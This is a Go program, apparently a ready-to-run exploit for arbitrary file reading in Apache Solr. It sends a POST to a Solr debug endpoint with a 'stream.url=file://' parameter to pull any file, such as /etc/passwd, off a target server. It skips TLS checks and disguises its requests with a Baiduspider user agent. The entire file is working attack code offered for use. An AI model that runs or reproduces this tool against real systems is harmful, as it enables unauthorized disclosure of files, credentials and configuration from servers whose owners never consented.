package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"regexp"
	"strings"
)

func main() {
	var file, host string
	flag.StringVar(&host, "h", "", "目标主机地址")
	flag.StringVar(&file, "f", "", "目标主机文件")
	flag.Parse()

	if host == "" {
		fmt.Println("[!]Host Format Error\r\n[!]Simple : -h https://127.0.0.1:8080")
		os.Exit(0)
	} else if file == "" {
		fmt.Println("[!]File Format Error\r\n[!]Simple : -f /etc/passwd")
		os.Exit(0)
	}
	if strings.Contains(host, "http://") != true {
		if strings.Contains(host, "https://") != true {
			fmt.Println("[!]Host Format Error\r\n\t[!]Simple : https://127.0.0.1:8080")
			os.Exit(0)
		}
	} else {
		fmt.Println(string(bytes.Repeat([]byte("*"), 50)))
		fmt.Println("[!]Target Host is : ", host, "\r\n[!]Target File is : ", file, "\r\n[!]Job Start File Reading")
		fmt.Println(string(bytes.Repeat([]byte("*"), 50)))
		exploitFileRead(host, file)
	}
}

func exploitFileRead(host, file string) {
	tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}
	httpcli := &http.Client{Transport: tr}
	payloadURL := "/solr/dovecot/debug/dump?param=ContentStreams"
	postData := "stream.url=file://"
	request, err := http.NewRequest(http.MethodPost, host+payloadURL, strings.NewReader(postData+file))
	if err != nil {
		panic(err)
	}
	request.Header.Add("Connection", "keep-alive")
	//request.Header.Add("Accept-Encoding","gzip, deflate")
	request.Header.Add("Accept", "*/*")
	request.Header.Add("User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0;+"+
		"http://www.baidu.com/search/spider.html\t")
	request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
	do, err := httpcli.Do(request)
	if err != nil {
		panic(err)
	}
	defer func() {
		_ = do.Body.Close()
	}()

	all, err := ioutil.ReadAll(do.Body)
	if err != nil {
		panic(err)
	}
	compile := regexp.MustCompile(`##(?s:(.*?))</str>`)
	if len(compile.FindAllString(string(all), -1)) == 0 {
		fmt.Println("[X] File Read Faild Maybe Not Found or Permission denied")
		fmt.Println(string(bytes.Repeat([]byte("*"), 50)))
		os.Exit(0)
	} else {
		fmt.Println(compile.FindAllString(string(all), -1))
		fmt.Println(string(bytes.Repeat([]byte("*"), 50)))
	}
}
